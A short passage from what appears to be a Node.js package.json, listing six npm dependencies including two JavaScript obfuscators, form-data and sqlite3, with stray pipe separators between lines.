"colors": "^1.4.0",
|
||||
"form-data": "^4.0.5",
|
||||
"javascript-obfuscator": "^4.1.1",
|
||||
"js-confuser": "^1.7.1",
|
||||
"readline-sync": "^1.4.10",
|
||||
"sqlite3": "^5.1.7"
|
||||
}
|
||||
}
|
||||